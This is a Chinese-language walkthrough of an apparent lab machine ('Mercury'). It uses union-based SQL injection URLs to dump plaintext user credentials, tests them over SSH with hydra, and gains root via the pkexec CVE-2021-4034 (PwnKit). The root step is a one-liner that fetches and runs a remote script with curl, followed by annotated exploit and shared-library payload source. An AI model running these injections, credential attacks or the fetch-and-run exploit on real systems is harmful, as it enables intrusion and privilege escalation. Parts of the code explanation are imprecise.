…
加上前面信息,可以确定是django开发的网页。
看一下有没有sql注入。

http://192.168.30.139:8080/mercuryfacts/1 order by 1
回显位置为1,位于最后这个位置。

http://192.168.30.139:8080/mercuryfacts/1 union select table_name from information_schema.tables where table_schema=database()
(‘facts’,), (‘users’,)查看users表。
http://192.168.30.139:8080/mercuryfacts/1 union select column_name from information_schema.columns where table_name='users'
(‘id’,), (‘password’,), (‘username’,)
http://192.168.30.139:8080/mercuryfacts/1 union select group_concat(username,':',password) from users
拿到四组账号。
john:johnny1987
laura:lovemykids111
sam:lovemybeer111
webmaster:mercuryisthesizeof0.056Earths
SSH登录
创建凭据文件creds.txt。
john:johnny1987
laura:lovemykids111
sam:lovemybeer111
webmaster:mercuryisthesizeof0.056Earths
使用hydra测试哪些可以登录,
hydra -C creds.txt ssh://192.168.30.139
-L 和 -P:这是最常用的方法,用于用户名列表和密码列表的 全排列组合。比如,如果你有10个用户名和100个密码,Hydra 会尝试 1000 次组合。
-C:这是更精确的方法,用于测试 特定的用户名和密码组合。它只会尝试文件中给定的每一行,不会进行全排列。

只有一个成功。
webmaster:mercuryisthesizeof0.056Earths
登录ssh。
ssh webmaster@192.168.30.139
mercuryisthesizeof0.056Earths

提权
sudo -l #无
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

看到了pkexec。https://gtfobins.github.io/gtfobins/pkexec/

或许可以直接提权。
sudo pkexec /bin/sh
webmaster@mercury:~$ sudo pkexec /bin/sh [sudo] password for webmaster: webmaster is not in the sudoers file. This incident will be reported.
失败。
pkexec 是 Linux 系统中 PolicyKit(简称 Polkit)框架的一部分。它的作用类似于 sudo,允许一个用户以另一个用户的身份(通常是 root)来执行命令。但与 sudo 不同的是,pkexec 的权限授予是基于细粒度的策略(policy)而不是 /etc/sudoers 文件。
CVE-2021-4034 的独立漏洞利用 - Pkexec 本地提权
https://github.com/ly4k/PwnKit
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
惊掉大牙,一个命令直接成功。👍

Flag

脚本分析
来都来了,看一下如何实现的提权。思路非常巧妙,它不是简单的命令注入。
而是利用程序内部逻辑错误的链式攻击。
在传统的提权攻击中,我们通常寻找一个 SUID-root 的程序(如 find 或 vim),然后利用它的不安全功能来执行一个 shell。而 PwnKit 漏洞的思路是:我们不直接利用 pkexec 的任何功能,而是利用它在执行前的初始化阶段的一个逻辑缺陷,欺骗它去运行我们的恶意代码。
简单来说,攻击者想让 pkexec 在启动时,把本该读取系统配置文件的地方,换成读取攻击者自己的恶意文件。由于 pkexec 是以 root 权限启动的,它执行攻击者的恶意文件时,也会以 root 权限来运行。
漏洞原理:环境变量劫持与内存损坏
这个漏洞的核心原理是 pkexec 在处理命令行参数时的一个内存越界读(out-of-bounds read)。这导致它错误地将环境变量当作了命令行参数来处理。
正常情况下的 pkexec 启动流程:
pkexec检查命令行参数 (argv)。- 它会清除并重新设置一些危险的环境变量,比如
PATH。
漏洞利用过程中的 pkexec 启动流程:
-
命令行参数为空:攻击者通过
execve系统调用,以一个空argv列表来启动pkexec。pkexec的代码在处理argv时存在一个逻辑缺陷,当argv为空时,它会错误地从内存中读取紧挨着argv的环境变量,并将其误认为是命令行参数。 -
环境变量被当做参数:当
pkexec尝试清理环境变量时,它会遍历它误读的环境变量列表。它会寻找并清除GCONV_PATH和SHELL等环境变量,但由于它是从argv列表中读取的,它实际上并没有清除它们。 -
gconv_path劫持:pkexec在启动时需要找到一些系统路径来设置其安全环境。它会尝试找到pkexec的可执行文件路径,但由于前面提到的内存越界问题,这一步会失败。当它失败后,它会退而求其次,寻找一个名为gconv-modules的文件来设置字符集转换。它会使用环境变量GCONV_PATH来寻找这个文件。 -
加载恶意共享库:攻击者提前设置了两个环境变量:
GCONV_PATH=/tmp/pwn:指向一个攻击者可控的目录。LC_MESSAGES=C.UTF-8:一个特定的环境变量,用于触发gconv库的加载。
攻击者在
/tmp/pwn目录下创建了一个伪造的gconv-modules文件,该文件指向一个恶意的.so共享库文件,比如/tmp/pwn/exploit.so。 -
提权成功:当
pkexec尝试加载gconv-modules时,它会找到攻击者伪造的文件,然后加载并执行exploit.so共享库。由于pkexec此时仍然以 root 权限运行,exploit.so中的代码也会以 root 权限执行,从而为攻击者弹出一个 root shell。
漏洞利用代码分析
一个典型的 PwnKit 漏洞利用代码通常包含两个主要部分:主程序(用于设置环境)和恶意共享库(用于执行 payload)。
1. 主程序 (exploit.c)
这个文件负责设置环境变量并执行 pkexec。
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
// 1. 设置 GCONV_PATH,指向恶意目录
// 2. 设置其他必要的环境变量
setenv("GCONV_PATH", ".", 1);
setenv("LC_MESSAGES", "C.UTF-8", 1);
// 3. 构建一个空命令行参数列表
char *argv[] = { NULL };
// 4. 使用 execve 启动 pkexec
// 关键:第一个参数是可执行文件路径,第二个参数是命令行参数(我们传 NULL)
execve("/usr/bin/pkexec", argv, NULL);
return 0;
}
分析:
setenv():这是设置环境变量的关键函数。GCONV_PATH被设置为.,意味着当前目录,这样在后续编译时,我们的恶意文件就在当前目录。LC_MESSAGES被设置为C.UTF-8,这是为了触发gconv-modules的加载。char \*argv[] = { NULL };:这就是漏洞利用的核心。它创建了一个空的命令行参数列表。execve("/usr/bin/pkexec", argv, NULL);:这个函数会用我们构造的空参数列表来启动pkexec,从而触发漏洞。
2. 恶意共享库 (payload.c)
这个文件会被编译成一个 .so 共享库,它包含实际的提权代码。
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
// __attribute__((constructor)) 是关键
// 它确保这个函数在库被加载时自动运行
void gconv() {
// 检查是否获得了 root 权限
// 0 是 root 用户的 UID
if (geteuid() == 0) {
setuid(0);
setgid(0);
// 执行一个 root shell
// -p 参数是为了保留特权
execl("/bin/sh", "sh", "-p", NULL);
}
}
分析:
__attribute__((constructor)):这是一个 GCC 的特性,它告诉编译器,gconv()函数应该在程序加载这个共享库时自动执行,而不是等待被调用。if (geteuid() == 0):这是一个安全检查,确保代码只在以 root 权限运行时才执行。setuid(0)和setgid(0):这些函数将当前进程的实际用户 ID 和组 ID 设置为 root,以确保提权完全成功。execl("/bin/sh", "sh", "-p", NULL):这会用 root 权限启动一个新的 shell。-p参数是用来告诉 shell 保留其有效的用户 ID,防止它自动降权。
结论: 攻击者通过 exploit.c 触发 pkexec 的漏洞,导致 pkexec 错误地加载了 payload.so。payload.so 中的 gconv() 函数在加载时自动运行,并以 pkexec 的权限(也就是 root)执行,最终弹出了一个 root shell。











































































